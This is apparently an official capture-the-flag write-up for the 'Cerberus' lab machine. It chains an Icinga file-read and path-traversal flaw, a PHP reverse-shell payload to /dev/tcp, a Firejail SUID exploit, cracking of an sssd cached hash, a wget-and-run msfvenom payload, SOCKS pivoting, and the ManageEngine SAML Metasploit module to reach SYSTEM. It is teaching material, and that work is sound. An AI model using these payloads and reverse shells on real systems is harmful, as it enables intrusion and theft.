Cerberus
Cerberus
Difficulty: Hard
Classification: Official
Synopsis
Cerberus is a Hard Difficulty Windows machine that initially presents a scant range of open services. The
primary point of entry is through exploiting a pre-authentication vulnerability in an outdated Icinga web
application, which then leads to Remote Code Execution (RCE) and subsequently a reverse shell within a
Linux container. Here, a Firejail SUID binary is discovered, which can be manipulated for privilege
escalation inside the container using CVE-2022-31214 . Further investigation reveals that the machine
utilizes Kerberos authentication with sssd , harboring a cached credential hash. Once cracked, this
credential can is reused on the host machine, although this necessitates the forwarding of the WinRM port
for access. Various local ports, some specific to ADSelfService Plus , are found active on the host
machine, authenticated through SAML , and linked to a known CVE ( CVE-2022-47966 ) with an available
Metasploit module. The final hurdle involves careful enumeration of the filesystem to locate a
ManageEngine backup, which provides the necessary data for exploiting ADSS SAML authentication.
Skills Required
Windows and Linux knowledge
Network pivoting
Active Directory/Kerberos knowledge
Enumeration
Skills Learned
Skills Learned
Sandbox breakout concepts
Enumeration
Nmap
ports=$(nmap -p- -Pn --min-rate=1000 -T4 10.10.11.205 | grep '^[0-9]' | cut -d '/' -f 1
| tr '\n' ',' | sed s/,$//)
nmap -p$ports -Pn -sC -sV 10.10.11.205
We can see that only port 8080 is open which limits our attack surface so we can focus on this.
HTTP
Browsing to port 8080 right away, we are redirected to
http://icinga.cerberus.local:8080/icingaweb2 . Let's add this vHost to /etc/hosts .
The first vulnerability, Local File Inclusion ( LFI ), is demonstrated in the article and can be easily
reproduced, but to make this easier let's write a quick Python script to give us a pseudo shell.
#!/usr/bin/python3
import requests
import os
while True:
file = input("file: ")
url = f"http://icinga.cerberus.local:8080/icingaweb2/lib/icinga/icinga-php-
thirdparty{file}"
r = requests.get(url)
print(r.text)
This output also reveals the hostname of the target machine. So at this point, we need to find information
about the running web application that may lead us to a foothold. Doing a Google search for icinga web
install configuration will point us to the Icinga documentation, which is a good start.
Using the LFI to view the contents of a couple of these files reveals the database credentials for matthew .
Using the discovered matthew:IcingaWebPassword2023 credentials on the login page of Icinga , we are
able to get logged in.
We can also take note that we are part of the Administrators group within Icinga which is very
interesting and means we have elevated permissions to potentially abuse a weakness in the application.
At this point, we can reference the SonarSource article again to try and chain an additional vulnerability for
a foothold.
Foothold
According to the disclosure, there is a lack of sanitization on the user field when creating an SSH Resource
module. By prepending a path with ../ inside the User field, we're able to write outside of the intended
directory which we can also verify with the LFI . So let's test this real quick by accessing the following
endpoint.
http://icinga.cerberus.local:8080/icingaweb2/config/resource#!/icingaweb2/config/create
resource
Site navigation is: Configuration / Application / Resource / Create a New Resource and select SSH
Identity as the Resource Type .
Icinga expects a valid private key in order to create a resource, however, the error message produced is
The given SSH key is invalid when invalid data is passed.
Typically, it would be assumed that using ssh-keygen to get a key would work, but in this case, Icinga
expects an RSA private key generated with OpenSSL . So let's create a key and submit it to Icinga and
then use the LFI to verify it.
It looks like this is assuming a valid cert can not be a valid PHP file, but I am not
sure why exactly not? The standard
[https://datatracker.ietf.org/doc/html/rfc7468#section-5.2]
(https://datatracker.ietf.org/doc/html/rfc7468#section-5.2) allows arbitrary text
before BEGIN and after END lines, and you can easily insert PHP code there. Assuming
that if the text is a valid certificate for OpenSSL then it's safe for all other
purposes is just not secure.
So let's test this by prepending a PHP payload before the start of the RSA key and submitting it to the same
endpoint as before, saving the file at /dev/shm/test.txt .
Reading the written file using the LFI confirms that it worked successfully. The next step is figuring out
how we can leverage this to get code execution on the target. Since we are an administrator on Icinga we
can build a custom Icinga module and write it to the filesystem using our path traversal and then change
the module path to point to the directory we write to. So let's figure out how to make an Icinga module.
The configuration.php file is one file that is part of a given module and should immediately stand out.
Looking further down in this tutorial it mentions that configuration.php is where the global configuration
of the module is located, which means this code should get loaded first.
We can reuse our test directory again and set the module path to the directory with our prepending LFI
/dev/shm .
# Generate a reverse shell payload
echo "sh -i >& /dev/tcp/10.10.14.60/10001 0>&1" | base64 -w 0
# Replace the below base64 string with the generated output in the previous command.
# Place the final output in the Private Key section of the Icinga resource.
<?php
{
system("echo c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNjAvMTAwMDEgMD4mMQo=|base64 -
d|bash");
}
?>
Next we'll need to enable our module so that it executes automatically, but we need to change the
configuration of Icinga first. Navigate to: Configuration / Application / General and change the
Module Path to /dev/shm and click Save Changes .
Next we'll need to enable the module that was created. In this case it was training , which we can find
under Configuration / Modules .
Note: Depending on how well your module was crafted, enabling the module may not be necessary
and all that would be required is accessing its entry from the Modules page. If you've followed this
writeup verbatim then enabling the module should not be required.
Enable the Module
Lateral Movement
First things first, let's enumerate for SUID binaries. Right away, /user/bin/firejail stands out as this is
not normally a binary that would be installed from a default installation.
We check the tool's version to look for potential exploits that might be applicable.
firejail --version
So let's do a quick Google search firejail exploit 0.9.68rc1 to see what we can find. We find a
writeup of the vulnerability as well as a Proof of Concept (PoC).
It's important to do code review before running any off-the-shelf exploit and after looking through this code
we can see that we will need two terminal sessions. One to run the exploit and another to leverage the new
firejail PID.
We save the PoC as firejoin.py and upload it to the machine. We then run it on our first shell:
chmod +x firejoin.py
./firejoin.py
On the other shell we now run the command from the output:
firejail --join=1724
Container Breakout
Once again we do basic enumeration first. We can start by looking at running processes and right away we
see that this machine is domain joined via sssd so let's enumerate that to see if we can find any interesting
information.
If we look at techniques for Active Directory joined Linux instances we'll find some good information, but its
not particularly useful as the required .secrets.mkey file does not exist. What is useful is the directory
that it points out, namely /var/lib/sss .
Within this directory, it can be noted that /var/lib/sss/db contains some cache files. Looking up what
these could be indicates that it is a database for the domain cache and has information about user
credentials.
Let's look at this file with strings and remove the repeated data to see what we can find.
Right away we find a hash and going through this file even more indicates that the user will be matthew .
$6$6LP9gyiXJCovapcy$0qmZTTjp9f2A0e7n4xk0L6ZoeKhhaCNm0VGJnX/Mu608QkliMpIy1FwKZlyUJAZU3FZ
3.GQ.4N6bb9pxE3t3T0:147258369
Before we can leverage these credentials we need to set up routing and a SOCKS proxy as WinRM is closed
on 10.10.11.205 , but since we are currently in a Linux instance with an IP of 172.16.22.2 and a gateway
of 172.16.22.1 , we can try and access WinRM through that.
We can load msfconsole to get this stood up. We'll also go ahead and start a SOCKS proxy service and
configure Proxychains so we can use our tools to interact with the target.
We first generate a payload using msfvenom and then host it with a web server.
msfconsole
# Inside metasploit
use exploit/multi/handler
set lhost tun0
set lport 10002
set payload linux/x64/meterpreter/reverse_tcp
run -j
use auxiliary/server/socks_proxy
set srvport 9999
run -j
# ... At the very bottom of the file, we set the ProxyList to only point to port 9999.
[ProxyList]
socks5 127.0.0.1 9999
On the target machine we download the msfvenom payload and execute it.
wget http://10.10.14.46:8000/shell
chmod +x shell
./shell &
use post/multi/manage/autoroute
set cmd add
set session 1
set subnet 172.16.22.1
set netmask 255.255.255.255
run
Finally, we can use evil-winrm through proxychains to get access to the target.
Privilege Escalation
If we take a look at the listening ports on this target we can notice a few that indicate something else is
running on this machine that could be of value.
Enumerating the process ID linked to these listening ports shows that it is being run by java .
Let's set up a new SOCKS proxy and modify our /etc/hosts file to point dc.cerberus.local to
127.0.0.1 so we can access it. We can use chisel for this.
First we set up a chisel in server mode on our attacking box. We'll indicate that we want it to listen on
port 6666 and also specify the --socks5 flag to ensure we're enabling a SOCKS proxy. We'll also specify
the --reverse flag so that that we're reverse forwarding all traffic.
We can then change our Proxychains configuration to set up the new proxy endpoint.
[ProxyList]
socks5 127.0.0.1 8888
Configuring our web browser to use the new SOCKS proxy at SOCKS5 127.0.0.1:8888 we can browse to
https://dc.cerberus.local:9251 .
We can take note it is doing a lot of redirects and ends with the below URL that indicates some type of
Security Assertion Markup Language ( SAML ) authentication is taking place with ADFS .
https://dc.cerberus.local/adfs/ls/?
SAMLRequest=pVNdj9owEHzvr4j8ThLni2ARThR6KhLXRpDrQ18q42w4S45NbYfj%2Fv05fFxp1VKplSJZsmd3Z
2cm47tDK7w9aMOVLBD2Q%2BSBZKrmclugx%2Bp%2BkKO7ybuxoa2IdmTa2Se5gu8dGOtNjQFtXd1MSdO1oNeg95
zB42pZoCdrd4YEwXxGRlGKg77BUm25DLIhzWsc4mwUJmFUs4xmwyTZ5A3L6ZBRTFmT55uoQd7cTeGS2iO1S8Oa%
2BQz0BnRnfKEYFQGtGxMIEyBvMS%2FQt5SOKDR1FtOcpXkS18MN4AzjLM5iDBgczJgOFtJYKm2BojCKB6H7RhVO
SBKROPHTNP2KvFIrq5gS77k86dFpSRQ13BBJWzDEMrKePixJ5IdkcwIZ8rGqykH5eV0dG%2Bx5DfqTQxfogUq6h
Q%2FSiQDedL4G0ZwV80rRGeR9udgQ9TY4Y6QhJ%2BFvj96deaLJySdyXFB790q31N6u7W94PWiOUALScvvy0%2B
zb5fSSATT5f8fHwTX9ySV0vXqLeakEZy%2FeVAj1PNNArVPU6s7Z%2Bbc1sY9%2FWbOTZgeMNxxqFLzNOeca6mP
KXagtHKw3U%2B2Oam56X%2BBAmX1T%2BRo2E06JFTT%2FpNxNGCOs7%2B2uS3c8K133sQTmeFaaukWUthfhfsdo
cn78w34%2Fnq%2F%2F7ckr&RelayState=aHR0cHM6Ly9EQzo5MjUxL3NhbWxMb2dpbi9MT0dJTl9BVVRI
We can use this with an online tool such as samltool to decode the SAMLRequest parameter. This shows
some information about the SAML assertion as well as the GUID of the assertion.
pVNdj9MwEHznV1h+bz5MLk2tJqfScqJSD6I2xwMvyHE2PUuOXWynd/fvcfpxFARFAilKJHt2d3ZmMr197iTag7F
CqxzHQYQRKK4bobY5fqjuRhm+Ld5MLesk2dFZ7x7VGr71YB2aWQvG+bq5VrbvwGzA7AWHh/Uqx4/O7SwNw8WcTs
hNHA4NVnorVJiOWdbEUZxOoiQiDU9ZOk6SOmt5xsacxYy3WVaTFqOFnyIUcwdq54YNDziYGkxvA6k5kyFrWhtKG
2K0XOT4K/Dspm14ndUJSzOScR5l2SQZx8S/Gk48zNoelso6plyOSUTejiL/TKo4ocmEEhKk4+gLRqXRTnMt3wl1
1KM3impmhaWKdWCp43Qzu19REkS0PoIs/VBV5aj8tKkODfaiAfPRo3N8zxTbwnvlRQA0W2xAtifFUCl7i9Hnsw1
ksMEboyw9Cn999O7EExdHn+hhQYPutOmYu147nIhm1B6gFJQT7uWn2dfL2TkDuPh/x6fhJf3iHLpBveWi1FLwFz
STUj/NDTDnFXWmB/zXNeMg/mXNXtkdcNEKaHD4OueUa2gOKfehdvDs0Fx3O2aEHXyBZ8bdq8qXsLn0Sqyh/Sflr
sI45UNvf1z6z5M2zRBL4J5nZZhfRBt3Fu53jIrT5R/2+3F9+W8X3wE=
GUID: 67a8d101690402dc6a6744b8fc8a7ca1acf88b2f
If we Google adselfservice plus saml exploit we are lead to a Rapid7 writeup that includes a
Metasploit module.
use exploit/windows/http/manageengine_adselfservice_plus_saml_rce_cve_2022_47966
Using this module and looking at the required settings we can see GUID and ISSUER_URL are required.
show options
We already have the GUID , but we're missing the ISSUER_URL so we need to enumerate a bit more.
We can also look in C:\program files (x86)\manageengine\ADSelfService Plus\backup and find there
is an offline backup left on the system.
We download the file using evil-winrm 's download feature and then attempt to decompress it using
7zip , however, this fails as it is password protected.
download OfflineBackup_20230214064809.ezip
python -c 'print("OfflineBackup_20230214064809"[::-1])'
# Returns
90846041203202_pukcaBenilffO
The password is successful and 979 files are extracted from the archive.
We use grep to look for the issuer_url .
grep -i issuer_url *
Now that we have all the relevant information for the Metasploit module let's set it up and try it.
use windows/http/manageengine_adselfservice_plus_saml_rce_cve_2022_47966
set payload payload/cmd/windows/powershell_reverse_tcp
set guid 67a8d101690402dc6a6744b8fc8a7ca1acf88b2f
set issuer_url http://dc.cerberus.local/adfs/services/trust
set proxies socks5:127.0.0.1:8888
set rhosts 127.0.0.1
set lhost tun0
run
A shell as NT Authority\SYSTEM is spawned. The root flag can be found in
C:\users\administrator\desktop .